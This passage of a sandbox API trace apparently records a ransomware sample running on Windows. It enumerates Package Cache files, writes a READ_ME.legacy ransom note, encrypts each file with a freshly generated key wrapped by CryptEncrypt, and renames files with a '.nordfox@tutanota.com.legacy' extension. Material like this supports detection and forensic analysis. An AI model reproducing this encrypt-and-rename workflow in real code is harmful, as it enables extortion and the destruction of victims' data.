dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.007] GetLastError () returned 0x12 [0116.007] SetLastError (dwErrCode=0x12) [0116.007] GetLastError () returned 0x12 [0116.007] SetLastError (dwErrCode=0x12) [0116.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0116.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.007] GetLastError () returned 0x12 [0116.007] SetLastError (dwErrCode=0x12) [0116.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.008] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0116.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.008] WriteFile (in: hFile=0x67c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0116.009] CloseHandle (hObject=0x67c) returned 1 [0116.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0116.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0116.010] FindNextFileW (in: hFindFile=0x566fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e497c2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e497c2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0116.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0116.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.010] GetLastError () returned 0x0 [0116.010] SetLastError (dwErrCode=0x0) [0116.010] GetLastError () returned 0x0 [0116.010] SetLastError (dwErrCode=0x0) [0116.010] GetLastError () returned 0x0 [0116.010] SetLastError (dwErrCode=0x0) [0116.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.011] FindNextFileW (in: hFindFile=0x566fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e497c2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e497c2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0116.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6b70 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571748 | out: hHeap=0x520000) returned 1 [0116.011] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566bd8 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0116.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0116.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.011] GetLastError () returned 0x12 [0116.012] SetLastError (dwErrCode=0x12) [0116.012] GetLastError () returned 0x12 [0116.012] SetLastError (dwErrCode=0x12) [0116.012] GetLastError () returned 0x12 [0116.012] SetLastError (dwErrCode=0x12) [0116.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0116.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566c18 [0116.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c18 | out: hHeap=0x520000) returned 1 [0116.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0116.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0116.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.012] FindNextFileW (in: hFindFile=0x566bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0116.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0116.013] GetLastError () returned 0x12 [0116.013] SetLastError (dwErrCode=0x12) [0116.013] GetLastError () returned 0x12 [0116.013] SetLastError (dwErrCode=0x12) [0116.013] GetLastError () returned 0x12 [0116.013] SetLastError (dwErrCode=0x12) [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0116.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d98 [0116.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0116.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.014] FindNextFileW (in: hFindFile=0x566bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e6f9b6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e6f9b6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0116.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0116.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.014] GetLastError () returned 0x12 [0116.014] SetLastError (dwErrCode=0x12) [0116.014] GetLastError () returned 0x12 [0116.014] SetLastError (dwErrCode=0x12) [0116.014] GetLastError () returned 0x12 [0116.014] SetLastError (dwErrCode=0x12) [0116.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.015] FindNextFileW (in: hFindFile=0x566bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0116.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0116.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0116.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.015] GetLastError () returned 0x12 [0116.015] SetLastError (dwErrCode=0x12) [0116.015] GetLastError () returned 0x12 [0116.015] SetLastError (dwErrCode=0x12) [0116.015] GetLastError () returned 0x12 [0116.015] SetLastError (dwErrCode=0x12) [0116.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0116.016] FindNextFileW (in: hFindFile=0x566bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0116.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0116.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0116.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0116.016] GetLastError () returned 0x12 [0116.016] SetLastError (dwErrCode=0x12) [0116.017] GetLastError () returned 0x12 [0116.017] SetLastError (dwErrCode=0x12) [0116.017] GetLastError () returned 0x12 [0116.017] SetLastError (dwErrCode=0x12) [0116.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0116.017] FindNextFileW (in: hFindFile=0x566bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0116.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7c38 [0116.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.017] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", dwFileAttributes=0x80) returned 1 [0116.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0116.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585a30 [0116.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0116.018] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680 [0116.018] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=781880) returned 1 [0116.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbee38) returned 0x6f0020 [0116.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbee38) returned 0x312b020 [0116.023] ReadFile (in: hFile=0x680, lpBuffer=0x6f0020, nNumberOfBytesToRead=0xbee38, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f0020*, lpNumberOfBytesRead=0x2e1f9bc*=0xbee38, lpOverlapped=0x0) returned 1 [0116.265] SetFilePointer (in: hFile=0x680, lDistanceToMove=-781880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.265] WriteFile (in: hFile=0x680, lpBuffer=0x312b020*, nNumberOfBytesToWrite=0xbee38, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbee38, lpOverlapped=0x0) returned 1 [0116.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f0020 | out: hHeap=0x520000) returned 1 [0116.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312b020 | out: hHeap=0x520000) returned 1 [0116.275] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbee38 [0116.275] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.276] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.276] WriteFile (in: hFile=0x680, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.276] WriteFile (in: hFile=0x680, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.276] CloseHandle (hObject=0x680) returned 1 [0116.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.276] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585a30 | out: hHeap=0x520000) returned 1 [0116.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7c38 | out: hHeap=0x520000) returned 1 [0116.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0116.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0116.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0116.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0116.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.282] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x80) returned 1 [0116.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563d50 [0116.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0116.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d50 | out: hHeap=0x520000) returned 1 [0116.290] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680 [0116.290] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=750) returned 1 [0116.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2ee) returned 0x555b90 [0116.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2ee) returned 0x2f40050 [0116.290] ReadFile (in: hFile=0x680, lpBuffer=0x555b90, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x2ee, lpOverlapped=0x0) returned 1 [0116.333] SetFilePointer (in: hFile=0x680, lDistanceToMove=-750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.334] WriteFile (in: hFile=0x680, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2ee, lpOverlapped=0x0) returned 1 [0116.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0116.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0116.334] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2ee [0116.334] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.334] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.334] WriteFile (in: hFile=0x680, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.334] WriteFile (in: hFile=0x680, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.335] CloseHandle (hObject=0x680) returned 1 [0116.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0116.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.335] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0116.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a08 | out: hHeap=0x520000) returned 1 [0116.344] 